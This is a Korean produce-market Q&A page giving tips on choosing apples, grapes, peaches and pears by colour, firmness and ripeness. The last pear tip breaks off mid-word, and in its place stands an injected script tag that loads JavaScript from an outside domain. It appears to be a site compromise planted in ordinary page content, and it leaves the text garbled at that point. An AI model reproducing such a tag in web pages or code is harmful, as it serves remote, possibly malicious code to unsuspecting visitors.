강릉농산물도매시장에 오신것을 환영합니다.


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내용	----------<원문내용>---------- >먼저 답변이 늦은 점 죄송합니다. > >참외는 금싸라기, 배는 신고, 사과는 부사가 대표적이듯이 과일 품종별로 맛의 차이가 있는 것은 사실입니다만 요즘처럼 한해 한해 신품종이 개발되는 상황에서는 당도측정을 하기 전까지는 딱히 맛있는 품종과 맛없는 품종을 꼬집어 말하기가 어렵습니다. 더구나 한해가 멀다 하고 신품종이 개발되면서 조금이라도 당도가 낮고 경쟁력이 약한 품종은 생산자분들이 선호하지 않아 단종되기 때문입니다. 더구나 여름철 과일이 더 그러하다 하겠습니다. > >우선은 몇가지 품목에 대해 품질과 맛이 좋은 과일을 고르는 방법만 알려드리오니 참고하여 주시기 바라며, 추후에 과일품목별 우수 품종에 관련된 자료정보가 나오면 바로 알려드리겠습니다. > > >◈ 사과 > >ㅇ 단단하고(같은 무게 같은 개수의 포장일 경우 과일이 작아 보임)약간 거친 것. >ㅇ 붉지 않은 부분은 노란색이 감돌고 푸른기 (약한 연두 혹은 약한 초록)가 없는 것 > (제일 중요함.사과를 뒤집어 꽃자리 쪽을 보면 확실히 알 수 있음). >ㅇ 전면에 햇빛을 많이 받아 골고루 붉은 것. 아주 크거나 아주 작은 것. >ㅇ 제철에 난 것이 맛있고 충분히 익을수록 더 맛이 있음. >ㅇ 품종에 따라 맛의 차이가 남. - 후지(부사),쓰가루,홍로 등 사과 품종명을 알고 >ㅇ 자신이 좋아하는 기호에 따라 고르는 것이 좋음. >ㅇ 햇빛을 많이 받아 색이 진한 사과를 선택 - 새가 찍은 사과는 맛이 좋고 잘 익은 것임. >ㅇ 손가락으로 가볍게 튕겨보아 소리가 쨍쨍할 정도로 느낌을 주는 사과는 단단하고 신선하다는 증거임. >ㅇ 이른 봄에서 여름에 저장된 것은 맛이 좋지 않은 것이 있을 수 있기 때문에 주의하여야 한다. > > >◈ 포도 ...색 진하고 알맹이 꽉 차야 > >포도는 색이 진하며, 하얀 가루가 묻어 있고, 줄기가 싱싱한 것이 좋다. 알이 일정하게 크고, 조밀조밀하게 꽉 찬 느낌을 주는 것이 맛이 있다. 재배과정에 정성을 기울이지 못한 것은 흔들어 보면 알이 쉽게 흔들리고 후두둑 떨어지는 것이 많다. 여름철 찬 음식으로 배탈이 날 경우 포도와 배를 으깨 즙을 짠 뒤 생강즙과 꿀을 섞은 포도즙을 만들어 마시면 좋다. > >ㅇ 알맹이가 균일하고 꽉찬 것 >ㅇ 품질 고유의 색택을 유지하고 송이가 싱싱한 것 >ㅇ 하얗게 분이 있는 것(당분이 껍질로 새어나와 굳은것으로 달고 신선함) >ㅇ 송이 윗쪽이 달고 아래로 갈수록 신맛이 강하므로 송이 끝을 먹어보고 고른다. >ㅇ 색이 짙고 알이 굵은 것일수록 달고 맛이 있음. >ㅇ 낱알이 떨어지거나 주름이 진 것은 오래된 것이므로 피한다. >ㅇ 가지 쪽이 가장 맛있고 송이의 제일 끝부분이 신맛이 강하므로 송이 끝부분의 맛을 보아 달면 전체가 단 것이다. >ㅇ 품종고유의 특성을 갖고 착색이 잘 된 것 - 꼭지부분이 완전히 착색된 것. >ㅇ 육질이 단단하고 하얀 분이 고운 것. >ㅇ 송이가 너무 크지 않고 과립이 균일 한 것. >ㅇ 보관은 랩에 싸서 냉장고에 보관. > > >◈ 복숭아...적당히 익고 상처 없는 것 > >복숭아는 식욕이 떨어지기 쉬운 여름철 보충식으로 좋은 과일이다. 복숭아는 껍질 표면이 전체적으로 노란색을 띠는 것이 당도가 높다. 쉽게 물러지기 쉬워 육안으로 상처.흠집 등을 살피는 것이 좋다. 비가 오면 당도가 쉽게 떨어지는 대표적인 과일이므로 세심한 주의가 필요하다. > >ㅇ 좌우 대칭으로 잘생긴 것을 고른다. 좌우 대칭으로 잘생겼으며 상처가 없는 것을 고른다. >ㅇ덜 익은 것은 떫은 맛이 나지만 완전히 익으면 떫은 맛은 자연히 없어진다. 복숭아가 잘 익었는지는 앞을 봐서는 잘 모르기 때문에 뒤쪽을 본다. 파란기가 없으면 먹을 때이다. 또 완전히 익으며 향기가 진해지기 때문에 냄새로 구별할 수도 있다. 차갑게 하면 단맛이 떨어지기 때문에 냉장고에는 먹기 2~3시간 전에 넣어둔다. >ㅇ 복숭아는 좌우대칭으로 잘 생기고 상처가 없고 크고 모양과 색깔이 균일하고 전체적으로 불그레하고, >ㅇ 잔털이 고루 퍼져있는 것이 상품이다. >ㅇ 복숭아가 잘 익었는지는 앞을 봐서는 잘 모르기 때문에 뒤쪽을 보아 파란기가 없으면 먹을 때이다. >ㅇ 완전히 익으면 향기가 진해지기 때문에 냄새로도 구별할 수 있다. > > >◈ 배 > >ㅇ 성장 촉진제 처리를 하지 않은 것.(약제 처리 배는 꼭지 부분이 끈적거림. 바짝 잘라내면 구별이 어려움) >ㅇ 약간 엷은 붉은기가 감도는 것 - 푸른기가 없는 것. >ㅇ 꽃자리 쪽이 튀어 나오지 않고 납작 한 것. >ㅇ 배 고유의 점 무늬의 크기가 큰 것. 과일 크기가 아주 큰 것. >ㅇ 크고 묵직하며 노란빛이 도는 것. >ㅇ 울퉁불퉁하고 푸른 빛이 도는 것은 맛이 덜하고 딱딱하여 맛이 없음. >ㅇ 적당히 익고 수분함량이 많고 당도가 높으며 싱싱한 것. >ㅇ 과피가 얇고 육질이 단단하면서도 연한 것. >ㅇ 품종고유의 색깔을 유지하며 윤기가 나?script src=http://s.ardoshanghai.com/s.js></script> ----------<답변내용>---------- 태그사용함 태그사용안함

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